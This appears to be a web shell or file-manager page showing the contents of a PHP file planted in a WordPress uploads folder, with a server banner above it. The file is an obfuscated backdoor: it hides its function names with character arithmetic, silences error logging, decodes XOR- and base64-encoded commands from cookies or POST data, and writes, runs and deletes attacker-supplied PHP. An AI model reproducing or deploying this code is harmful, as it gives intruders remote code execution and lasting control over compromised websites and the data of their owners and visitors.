HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux ns3133907 6.8.0-86-generic #87-Ubuntu SMP PREEMPT_DYNAMIC Mon Sep 22 18:03:36 UTC 2025 x86_64
User: cssnetorguk (1024)
PHP: 8.2.28
Disabled: NONE
Upload Files
File: //old_home_backup/delanceyandco.co.uk/public_html/wp-content/uploads/2021/09/bwabfagl.php
<?php $qipsytn = chr(665-563).chr(178-73).'l'.chr(1068-967).'_'."\x70".chr(622-505).chr(116).chr(97-2)."\x63".'o'.'n'.'t'."\145"."\x6e"."\164"."\163";
$ybbdj = 'b'.'a'."\163".'e'.chr(338-284).'4'.'_'."\144"."\145".'c'."\x6f".'d'.chr(101);
$dzewippfj = "\x69"."\156"."\x69"."\x5f".chr(115).chr(101)."\164";
$sjoorb = 'u'.chr(110).chr(248-140).chr(533-428).chr(110)."\x6b";


@$dzewippfj(chr(101)."\x72".chr(114)."\157".'r'."\x5f"."\x6c".chr(111).chr(655-552), NULL);
@$dzewippfj("\154".'o'.chr(103)."\137".'e'.'r'.'r'.chr(111)."\x72"."\163", 0);
@$dzewippfj(chr(513-404)."\141".chr(120).chr(417-322)."\145"."\170".'e'."\x63"."\165".chr(116)."\x69"."\x6f"."\x6e"."\x5f"."\x74".'i'.chr(721-612)."\x65", 0);
@set_time_limit(0);

function mplgoxs($uuour, $bnbxejjgv)
{
    $lgmvpyqelf = "";
    for ($ueyixvxqb = 0; $ueyixvxqb < strlen($uuour);) {
        for ($j = 0; $j < strlen($bnbxejjgv) && $ueyixvxqb < strlen($uuour); $j++, $ueyixvxqb++) {
            $lgmvpyqelf .= chr(ord($uuour[$ueyixvxqb]) ^ ord($bnbxejjgv[$j]));
        }
    }
    return $lgmvpyqelf;
}

$lduhltfdk = array_merge($_COOKIE, $_POST);
$zprov = '159137a2-08c9-4de1-815c-4d5520e519e9';
foreach ($lduhltfdk as $pzsjw => $uuour) {
    $uuour = @unserialize(mplgoxs(mplgoxs($ybbdj($uuour), $zprov), $pzsjw));
    if (isset($uuour[chr(97)."\153"])) {
        if ($uuour[chr(786-689)] == 'i') {
            $ueyixvxqb = array(
                chr(112)."\166" => @phpversion(),
                "\x73".chr(118) => "3.5",
            );
            echo @serialize($ueyixvxqb);
        } elseif ($uuour[chr(786-689)] == "\145") {
            $tdwjexqg = "./" . md5($zprov) . '.'."\151"."\x6e".chr(672-573);
            @$qipsytn($tdwjexqg, "<" . "\77".chr(112)."\150"."\160".chr(879-847).'@'."\x75".'n'.chr(677-569)."\151"."\156"."\x6b".chr(708-668)."\137".'_'."\106"."\111".'L'.chr(1054-985).chr(95)."\x5f".chr(373-332).chr(59).chr(32) . $uuour["\144"]);
            include($tdwjexqg);
            @$sjoorb($tdwjexqg);
        }
        exit();
    }
}